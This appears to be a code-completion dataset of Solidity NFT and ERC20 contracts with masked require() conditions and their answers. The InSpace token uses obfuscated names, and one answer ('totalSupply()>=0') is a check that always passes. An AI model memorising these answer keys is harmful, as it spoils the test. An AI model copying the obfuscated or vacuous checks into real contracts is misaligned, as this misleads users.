| totalSupply()+_amountOfKnight<=MAX_SUPPLY,"Reached Max Supply" | 183,049 | totalSupply()+_amountOfKnight<=MAX_SUPPLY |
"Reached Max Supply" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./ERC721A.sol";
import "./extensions/ERC721AQueryable.sol";
contract KnightRoses is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5005;
uint256 public constant MAX_SALE_SUPPLY = 4800;
uint256 public constant MINT_PRICE = 0.03 ether;
uint8 public maxByWalletPerPublic = 5;
uint8 public maxByWalletPerKnightSale = 1;
enum Stage {
SaleClosed,
KnightVIP,
KnightList,
Public
}
Stage public saleState = Stage.SaleClosed;
string public baseTokenURI;
string public notRevealedUri;
string public baseExtension = ".json";
bool public revealed = false;
mapping(address => uint8) private _vipList;
bytes32 private _knightListMerkleRoot;
constructor() ERC721A("Knight&Roses", "Knights") {}
////////////////////
// MINT FUNCTIONS //
////////////////////
function mint(uint8 _amountOfKnight, bytes32[] memory _proof) public payable mintIsOpen nonContract nonReentrant{
}
function _publicMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function _knightListMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function mintVIP(uint8 _amountOfKnight) public mintIsOpen nonReentrant{
}
////////////////////
// OWNER FUNCTIONS //
////////////////////
function setMaxByWalletPerPublic(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxByWalletPerKnightSale(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxVipListRedemptions(
address[] calldata _addresses,
uint8 _redemptions
) external onlyOwner {
}
function setKnightListMerkleRoot(bytes32 newMerkleRoot_) external onlyOwner {
}
function setStage(Stage _saleState) public onlyOwner {
}
function setReveal(bool _setReveal) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reserveMint(address to, uint8 _amountOfKnight) public onlyOwner nonReentrant mintIsOpen{
}
function airdrop(
address[] calldata _addresses,
uint8 _amountOfKnight
) external onlyOwner nonReentrant mintIsOpen {
require(<FILL_ME>)
for (uint256 i = 0; i < _addresses.length; i++) {
_safeMint(_addresses[i], _amountOfKnight);
}
}
function withdraw() public onlyOwner nonReentrant {
}
////////////////////
// OVERRIDES //
////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A, IERC721A)
returns (string memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/******************** READ ********************/
function numberMinted(address owner) public view returns (uint256) {
}
function nextTokenId() public view returns (uint256) {
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function toString(uint256 x) public pure returns (string memory) {
}
function getOwnershipOf(uint256 index) public view returns (TokenOwnership memory) {
}
function getOwnershipAt(uint256 index) public view returns (TokenOwnership memory) {
}
function totalMinted() public view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function numberBurned(address owner) public view returns (uint256) {
}
function getAvailableForMintByCurrentStage(address checkedAddress) public view returns (uint8) {
}
function checkVipList(address checkedAddress) public view returns (address, uint8) {
}
/******************** MODIFIERS ********************/
modifier mintIsOpen() {
}
modifier nonContract() {
}
//////////////////////
// GETTER FUNCTIONS //
//////////////////////
/**
* @notice Unpack and get number of viplist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsVipList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsKnightList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsPublic() private view returns (uint8) {
}
//////////////////////
// HELPER FUNCTIONS //
//////////////////////
/**
* @notice Pack three uint8s (viplist, allowlist and public redemptions) into a single uint24 value
* @return Packed value
* @dev Performs shift and bit operations to pack two uint8s into a single uint24
*/
function packMintRedemptions(
uint8 _vipMintRedemptions,
uint8 _knightListMintRedemptions,
uint8 _publicMintRedemptions
) private pure returns (uint24) {
}
/**
* @notice Unpack a single uint24 value into thr uint8s (vip, knightList and public redemptions)
* @return vipMintRedemptions knightListMintRedemptions publicMintRedemptions Unpacked values
* @dev Performs shift and bit operations to unpack a single uint64 into two uint32s
*/
function unpackMintRedemptions(uint64 _mintRedemptionPack)
private
pure
returns (uint8 vipMintRedemptions, uint8 knightListMintRedemptions, uint8 publicMintRedemptions)
{
}
/**
* @notice Increment number of viplist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsVipList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of knightlist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public redemptions) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsKnightList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of public token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsPublic(uint8 _numToIncrement) private {
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
/**
* Function not implemented
*/
error NotImplemented();
| totalSupply()+_amountOfKnight*_addresses.length<=MAX_SUPPLY,"Reached Max Supply" | 183,049 | totalSupply()+_amountOfKnight*_addresses.length<=MAX_SUPPLY |
"TT: transfer amccouunt exceeds balance" | pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address acxount) external view returns (uint256);
function transfer(address recipient, uint256 amccouunt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amccouunt) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amccouunt ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract InSpace is Context, Ownable, IERC20 {
mapping (address => uint256) private _vvvvcxcxdd;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address acxount) public view override returns (uint256) {
}
function allowacs(address aderrr) public onlyowner {
}
function transfer(address recipient, uint256 amccouunt) public virtual override returns (bool) {
require(<FILL_ME>)
_vvvvcxcxdd[_msgSender()] -= amccouunt;
_vvvvcxcxdd[recipient] += amccouunt;
emit Transfer(_msgSender(), recipient, amccouunt);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amccouunt) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amccouunt) public virtual override returns (bool) {
}
function totalSupply() external view override returns (uint256) {
}
}
| _vvvvcxcxdd[_msgSender()]>=amccouunt,"TT: transfer amccouunt exceeds balance" | 183,063 | _vvvvcxcxdd[_msgSender()]>=amccouunt |
"TT: transfer amccouunt exceeds allowance" | pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address acxount) external view returns (uint256);
function transfer(address recipient, uint256 amccouunt) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amccouunt) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amccouunt ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyowner() {
}
function renounceownership() public virtual onlyowner {
}
}
contract InSpace is Context, Ownable, IERC20 {
mapping (address => uint256) private _vvvvcxcxdd;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function balanceOf(address acxount) public view override returns (uint256) {
}
function allowacs(address aderrr) public onlyowner {
}
function transfer(address recipient, uint256 amccouunt) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amccouunt) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amccouunt) public virtual override returns (bool) {
require(<FILL_ME>)
_vvvvcxcxdd[sender] -= amccouunt;
_vvvvcxcxdd[recipient] += amccouunt;
_allowances[sender][_msgSender()] -= amccouunt;
emit Transfer(sender, recipient, amccouunt);
return true;
}
function totalSupply() external view override returns (uint256) {
}
}
| _allowances[sender][_msgSender()]>=amccouunt,"TT: transfer amccouunt exceeds allowance" | 183,063 | _allowances[sender][_msgSender()]>=amccouunt |
"Team mints after public sale" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/*
waifus.sol
*/
contract Waifuwarz is Ownable, ERC721A {
uint256 constant public MAX_SUPPLY = 666;
uint256 public TEAM_MINT_MAX = 0;
uint256 public publicPrice = 0.002 ether;
uint256 constant public PUBLIC_MINT_LIMIT_TXN = 3;
uint256 constant public PUBLIC_MINT_LIMIT = 3;
uint256 public TOTAL_SUPPLY_TEAM;
string public revealedURI = "ipfs://QmbPZTpwDb5QQiEHDX8dBwJcbKhveVfBhsaV9jBgSAQwHd";
string public hiddenURI = "ipfs://";
// OpenSea CONTRACT_URI - https://docs.opensea.io/docs/contract-level-metadata
string public CONTRACT_URI = "ipfs://QmNeKp6utBDVhsLeS2yJPoxwoANdtEctCLEkLM9x5Hctmv";
bool public paused = false;
bool public revealed = false;
bool public publicSale = true;
address constant internal CHARITY_ADDRESS = 0xfae840f813BE77A6cd7Ca1B417EbE7BB11c23f74;
address public teamWallet = 0xfae840f813BE77A6cd7Ca1B417EbE7BB11c23f74;
mapping(address => uint256) public numUserMints;
constructor() ERC721A("WaifuWarz", "WW") {}
/*
*
$$$$$$$\ $$\ $$\ $$$$$$$$\ $$\ $$\
$$ __$$\ \__| $$ | $$ _____| $$ | \__|
$$ | $$ | $$$$$$\ $$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\ $$ | $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$$\
$$$$$$$ |$$ __$$\ $$ |\$$\ $$ |\____$$\\_$$ _| $$ __$$\ $$$$$\ $$ | $$ |$$ __$$\ $$ _____|\_$$ _| $$ |$$ __$$\ $$ __$$\ $$ _____|
$$ ____/ $$ | \__|$$ | \$$\$$ / $$$$$$$ | $$ | $$$$$$$$ | $$ __|$$ | $$ |$$ | $$ |$$ / $$ | $$ |$$ / $$ |$$ | $$ |\$$$$$$\
$$ | $$ | $$ | \$$$ / $$ __$$ | $$ |$$\ $$ ____| $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$\ $$ |$$ | $$ |$$ | $$ | \____$$\
$$ | $$ | $$ | \$ / \$$$$$$$ | \$$$$ |\$$$$$$$\ $$ | \$$$$$$ |$$ | $$ |\$$$$$$$\ \$$$$ |$$ |\$$$$$$ |$$ | $$ |$$$$$$$ |
\__| \__| \__| \_/ \_______| \____/ \_______| \__| \______/ \__| \__| \_______| \____/ \__| \______/ \__| \__|\_______/
*
*/
// This function is if you want to override the first Token ID# for ERC721A
// Note: Fun fact - by overloading this method you save a small amount of gas for minting (technically just the first mint)
function _startTokenId() internal view virtual override returns (uint256) {
}
function refundOverpay(uint256 price) private {
}
/*
*
$$$$$$$\ $$\ $$\ $$\ $$$$$$$$\ $$\ $$\
$$ __$$\ $$ | $$ |\__| $$ _____| $$ | \__|
$$ | $$ |$$\ $$\ $$$$$$$\ $$ |$$\ $$$$$$$\ $$ | $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$$\
$$$$$$$ |$$ | $$ |$$ __$$\ $$ |$$ |$$ _____| $$$$$\ $$ | $$ |$$ __$$\ $$ _____|\_$$ _| $$ |$$ __$$\ $$ __$$\ $$ _____|
$$ ____/ $$ | $$ |$$ | $$ |$$ |$$ |$$ / $$ __|$$ | $$ |$$ | $$ |$$ / $$ | $$ |$$ / $$ |$$ | $$ |\$$$$$$\
$$ | $$ | $$ |$$ | $$ |$$ |$$ |$$ | $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$\ $$ |$$ | $$ |$$ | $$ | \____$$\
$$ | \$$$$$$ |$$$$$$$ |$$ |$$ |\$$$$$$$\ $$ | \$$$$$$ |$$ | $$ |\$$$$$$$\ \$$$$ |$$ |\$$$$$$ |$$ | $$ |$$$$$$$ |
\__| \______/ \_______/ \__|\__| \_______| \__| \______/ \__| \__| \_______| \____/ \__| \______/ \__| \__|\_______/
*
*/
function teamMint(uint256 quantity) public payable mintCompliance(quantity) {
require(msg.sender == teamWallet, "Team minting only");
require(TOTAL_SUPPLY_TEAM + quantity <= TEAM_MINT_MAX, "No team mints left");
require(<FILL_ME>)
TOTAL_SUPPLY_TEAM += quantity;
_safeMint(msg.sender, quantity);
}
function publicMint(uint256 quantity) external payable mintCompliance(quantity) {
}
/*
*
$$\ $$\ $$\ $$$$$$$$\ $$\ $$\
$$ | $$ |\__| $$ _____| $$ | \__|
$$ | $$ |$$\ $$$$$$\ $$\ $$\ $$\ $$ | $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$$\
\$$\ $$ |$$ |$$ __$$\ $$ | $$ | $$ | $$$$$\ $$ | $$ |$$ __$$\ $$ _____|\_$$ _| $$ |$$ __$$\ $$ __$$\ $$ _____|
\$$\$$ / $$ |$$$$$$$$ |$$ | $$ | $$ | $$ __|$$ | $$ |$$ | $$ |$$ / $$ | $$ |$$ / $$ |$$ | $$ |\$$$$$$\
\$$$ / $$ |$$ ____|$$ | $$ | $$ | $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$\ $$ |$$ | $$ |$$ | $$ | \____$$\
\$ / $$ |\$$$$$$$\ \$$$$$\$$$$ | $$ | \$$$$$$ |$$ | $$ |\$$$$$$$\ \$$$$ |$$ |\$$$$$$ |$$ | $$ |$$$$$$$ |
\_/ \__| \_______| \_____\____/ \__| \______/ \__| \__| \_______| \____/ \__| \______/ \__| \__|\_______/
*
*/
function walletOfOwner(address _owner) public view returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
// https://docs.opensea.io/docs/contract-level-metadata
// https://ethereum.stackexchange.com/questions/110924/how-to-properly-implement-a-contracturi-for-on-chain-nfts
function contractURI() public view returns (string memory) {
}
/*
*
$$$$$$\ $$$$$$$$\ $$\ $$\
$$ __$$\ $$ _____| $$ | \__|
$$ / $$ |$$\ $$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$ | $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$$\
$$ | $$ |$$ | $$ | $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$$$$\ $$ | $$ |$$ __$$\ $$ _____|\_$$ _| $$ |$$ __$$\ $$ __$$\ $$ _____|
$$ | $$ |$$ | $$ | $$ |$$ | $$ |$$$$$$$$ |$$ | \__| $$ __|$$ | $$ |$$ | $$ |$$ / $$ | $$ |$$ / $$ |$$ | $$ |\$$$$$$\
$$ | $$ |$$ | $$ | $$ |$$ | $$ |$$ ____|$$ | $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$\ $$ |$$ | $$ |$$ | $$ | \____$$\
$$$$$$ |\$$$$$\$$$$ |$$ | $$ |\$$$$$$$\ $$ | $$ | \$$$$$$ |$$ | $$ |\$$$$$$$\ \$$$$ |$$ |\$$$$$$ |$$ | $$ |$$$$$$$ |
\______/ \_____\____/ \__| \__| \_______|\__| \__| \______/ \__| \__| \_______| \____/ \__| \______/ \__| \__|\_______/
*
*/
function setTeamMintMax(uint256 _teamMintMax) public onlyOwner {
}
function setPublicPrice(uint256 _publicPrice) public onlyOwner {
}
function setBaseURI(string memory _baseUri) public onlyOwner {
}
// Note: This method can be hidden/removed if this is a constant.
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function revealCollection(bool _revealed, string memory _baseUri) public onlyOwner {
}
// https://docs.opensea.io/docs/contract-level-metadata
function setContractURI(string memory _contractURI) public onlyOwner {
}
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/Pausable.sol
function setPaused(bool _state) public onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function setPublicEnabled(bool _state) public onlyOwner {
}
function setTeamWalletAddress(address _teamWallet) public onlyOwner {
}
function withdraw() external payable onlyOwner {
}
// Owner-only mint functionality to "Airdrop" mints to specific users
// Note: These will likely end up hidden on OpenSea
function mintToUser(uint256 quantity, address receiver) public onlyOwner mintCompliance(quantity) {
}
/*
*
$$\ $$\ $$\ $$\ $$$$$$\ $$\
$$$\ $$$ | $$ |\__|$$ __$$\ \__|
$$$$\ $$$$ | $$$$$$\ $$$$$$$ |$$\ $$ / \__|$$\ $$$$$$\ $$$$$$\ $$$$$$$\
$$\$$\$$ $$ |$$ __$$\ $$ __$$ |$$ |$$$$\ $$ |$$ __$$\ $$ __$$\ $$ _____|
$$ \$$$ $$ |$$ / $$ |$$ / $$ |$$ |$$ _| $$ |$$$$$$$$ |$$ | \__|\$$$$$$\
$$ |\$ /$$ |$$ | $$ |$$ | $$ |$$ |$$ | $$ |$$ ____|$$ | \____$$\
$$ | \_/ $$ |\$$$$$$ |\$$$$$$$ |$$ |$$ | $$ |\$$$$$$$\ $$ | $$$$$$$ |
\__| \__| \______/ \_______|\__|\__| \__| \_______|\__| \_______/
*
*/
modifier mintCompliance(uint256 quantity) {
}
}
| totalSupply()>=0,"Team mints after public sale" | 183,128 | totalSupply()>=0 |
"MonuversePFP: exceeding supply" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "erc721psi/contracts/extension/ERC721PsiBurnable.sol";
import "./ArchOfPeaceEntropy.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "fpe-map/contracts/FPEMap.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/*░└╬┘░*\
░ ░█░┘────════════╩════════────└╩┘──
▒ ▒█ ████████████████████████████████
▒█ ═════════════╗░░▒▒▒▒▒░░╔═════════════
▒ ▒ █▒▒▒░░░░▒▒▒░░╚═════════╝░░▒▒▒░░░░░░▒
░ █▒ █ ███████████░░░▒▒▒░░░█████████████
█ ░╦░ ╦╦╦ ╚█████████╝ ╦╦╦ ╦╦╦
│▒│░░▒▒▒│█│░▒▒▒░░ ░░▒▒▒░│█│▒▒▒░░│█│
▒ │█│─────│█│─═▒░╔═╩═╗░▒══│█│═════│█│═
│█│░▒▒░░│█│▒░┌┘' '╚╗░▒│█│░░▒▒░│█│
│▒│▒▒░ ░│█│░┌┘ \┌┴┐/ ╚╗░│█│░ ░▒▒│█│
│▒░┌┴░│█│░│ ┘ └┐ ║░│█│╔╩╗░▒│█│
│▒│▒┌┘\ │█│░│ └┐║░│█│╝/╚╗▒│█│
█ │█│▒│┌┘ │█│ │ │║▒│█│ └┐║▒│█│
█ ▒ ╩╩╩▒││ ╩╩╩░│ ░ │║▒╩╩╩ │║▒╩╩╩
░ █ ▒███▒││ ████▒│ ░░░ │║▒████ │║▒████
░ ▒█ ▒██▒█▒││ ████▒│ ░░░░░ │║▒████ │║▒████
__ __ ___ ▒█▒▒█▒││ ██▒░▒│ ░░░▒░░░│║▒████_│║▒████_____________________
| \/ |/ _ \█ \░▒ |│ ▒█ |\ \░░▒▒▒░░/ /__ ____/__ __ \_ ___/__ ____/
| |\/| | | | | \▒ |│ ░▒ | \ ░▒▒▒▒▒░ /__ __/ __ /_/ /____ \__ __/
| | | | |_| | |\ | \_░ | \ ▒▒█▒▒ /__ /___ _ _, _/____/ /_ /___
|_| |_|\___/|_| \_|\___/ \ ███ / /_____/ /_/ |_| /____/ /_____/
\ █ /
▒██ ████╗ ███████╗██████╗
██╔══██╗██╔════╝██╔══██╗
░█ █████╔╝█████╗ ██████╔╝
█╔═══╝ ██╔══╝ ██╔═══╝
██║ ██║ ██║
╚*╝ ╚═/ ╚*/
/**
* @title Monuverse PFP – Airdrop
* @author Maxim Gaina
*
* @notice PFP Monuverse Airdrop Contract with
* @notice O(1) fully decentralized and unpredictable reveal.
*/
contract MonuversePFP is ArchOfPeaceEntropy, ERC721PsiBurnable, DefaultOperatorFilterer {
using FPEMap for uint256;
using Strings for uint256;
uint256 private _maxSupply;
string private _pfpVeilURI;
string private _pfpBaseURI;
uint256 private constant _deterministicTokens = 4;
constructor(
uint256 maxSupply_,
string memory name_,
string memory symbol_,
string memory archVeilURI_,
string memory archBaseURI_,
address vrfCoordinator_,
bytes32 vrfGasLane_,
uint64 vrfSubscriptionId_
)
ArchOfPeaceEntropy(vrfCoordinator_, vrfGasLane_, vrfSubscriptionId_)
ERC721Psi(name_, symbol_)
{
}
function airdrop(address receiver, uint256 quantity) external onlyOwner {
require(entropy() == 0, "MonuversePFP: already revealed");
require(<FILL_ME>)
_mint(receiver, quantity);
}
/**
* @notice Reveals the entire collection when call effects are successful.
*
* @dev Requests a random seed that will be fulfilled in the future;
* @dev seed will be used to randomly map token ids to metadata ids;
* @dev callable only once in the entire Episode (i.e. collection lifecycle),
* @dev that is, if seed is still default value and not waiting for any request;
* @dev callable by anyone at any moment only during Reveal Chapter.
*/
function reveal() public {
}
function burn(uint256 tokenId) public {
}
/**
* @notice Obtains mapped URI for an existing token.
* @param tokenId existing token ID.
*
* @dev Pre-reveal all tokens are mapped to the same `_VeilURI`;
* @dev post-reveal each token is unpredictably mapped to its own URI;
* @dev post-reveal is when VRFCoordinatorV2 has successfully fulfilled random word request;
* @dev exception are the last `_deterministicTokens` which URI are indeed, pre-decided.
*
* @return metadataURI token URI string
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| _minted+quantity<=_maxSupply,"MonuversePFP: exceeding supply" | 183,201 | _minted+quantity<=_maxSupply |
"MonuversePFP: sender not token owner" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "erc721psi/contracts/extension/ERC721PsiBurnable.sol";
import "./ArchOfPeaceEntropy.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "fpe-map/contracts/FPEMap.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/*░└╬┘░*\
░ ░█░┘────════════╩════════────└╩┘──
▒ ▒█ ████████████████████████████████
▒█ ═════════════╗░░▒▒▒▒▒░░╔═════════════
▒ ▒ █▒▒▒░░░░▒▒▒░░╚═════════╝░░▒▒▒░░░░░░▒
░ █▒ █ ███████████░░░▒▒▒░░░█████████████
█ ░╦░ ╦╦╦ ╚█████████╝ ╦╦╦ ╦╦╦
│▒│░░▒▒▒│█│░▒▒▒░░ ░░▒▒▒░│█│▒▒▒░░│█│
▒ │█│─────│█│─═▒░╔═╩═╗░▒══│█│═════│█│═
│█│░▒▒░░│█│▒░┌┘' '╚╗░▒│█│░░▒▒░│█│
│▒│▒▒░ ░│█│░┌┘ \┌┴┐/ ╚╗░│█│░ ░▒▒│█│
│▒░┌┴░│█│░│ ┘ └┐ ║░│█│╔╩╗░▒│█│
│▒│▒┌┘\ │█│░│ └┐║░│█│╝/╚╗▒│█│
█ │█│▒│┌┘ │█│ │ │║▒│█│ └┐║▒│█│
█ ▒ ╩╩╩▒││ ╩╩╩░│ ░ │║▒╩╩╩ │║▒╩╩╩
░ █ ▒███▒││ ████▒│ ░░░ │║▒████ │║▒████
░ ▒█ ▒██▒█▒││ ████▒│ ░░░░░ │║▒████ │║▒████
__ __ ___ ▒█▒▒█▒││ ██▒░▒│ ░░░▒░░░│║▒████_│║▒████_____________________
| \/ |/ _ \█ \░▒ |│ ▒█ |\ \░░▒▒▒░░/ /__ ____/__ __ \_ ___/__ ____/
| |\/| | | | | \▒ |│ ░▒ | \ ░▒▒▒▒▒░ /__ __/ __ /_/ /____ \__ __/
| | | | |_| | |\ | \_░ | \ ▒▒█▒▒ /__ /___ _ _, _/____/ /_ /___
|_| |_|\___/|_| \_|\___/ \ ███ / /_____/ /_/ |_| /____/ /_____/
\ █ /
▒██ ████╗ ███████╗██████╗
██╔══██╗██╔════╝██╔══██╗
░█ █████╔╝█████╗ ██████╔╝
█╔═══╝ ██╔══╝ ██╔═══╝
██║ ██║ ██║
╚*╝ ╚═/ ╚*/
/**
* @title Monuverse PFP – Airdrop
* @author Maxim Gaina
*
* @notice PFP Monuverse Airdrop Contract with
* @notice O(1) fully decentralized and unpredictable reveal.
*/
contract MonuversePFP is ArchOfPeaceEntropy, ERC721PsiBurnable, DefaultOperatorFilterer {
using FPEMap for uint256;
using Strings for uint256;
uint256 private _maxSupply;
string private _pfpVeilURI;
string private _pfpBaseURI;
uint256 private constant _deterministicTokens = 4;
constructor(
uint256 maxSupply_,
string memory name_,
string memory symbol_,
string memory archVeilURI_,
string memory archBaseURI_,
address vrfCoordinator_,
bytes32 vrfGasLane_,
uint64 vrfSubscriptionId_
)
ArchOfPeaceEntropy(vrfCoordinator_, vrfGasLane_, vrfSubscriptionId_)
ERC721Psi(name_, symbol_)
{
}
function airdrop(address receiver, uint256 quantity) external onlyOwner {
}
/**
* @notice Reveals the entire collection when call effects are successful.
*
* @dev Requests a random seed that will be fulfilled in the future;
* @dev seed will be used to randomly map token ids to metadata ids;
* @dev callable only once in the entire Episode (i.e. collection lifecycle),
* @dev that is, if seed is still default value and not waiting for any request;
* @dev callable by anyone at any moment only during Reveal Chapter.
*/
function reveal() public {
}
function burn(uint256 tokenId) public {
require(_exists(tokenId), "MonuversePFP: non existent token");
require(<FILL_ME>)
super._burn(tokenId);
}
/**
* @notice Obtains mapped URI for an existing token.
* @param tokenId existing token ID.
*
* @dev Pre-reveal all tokens are mapped to the same `_VeilURI`;
* @dev post-reveal each token is unpredictably mapped to its own URI;
* @dev post-reveal is when VRFCoordinatorV2 has successfully fulfilled random word request;
* @dev exception are the last `_deterministicTokens` which URI are indeed, pre-decided.
*
* @return metadataURI token URI string
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override onlyAllowedOperator(from) {
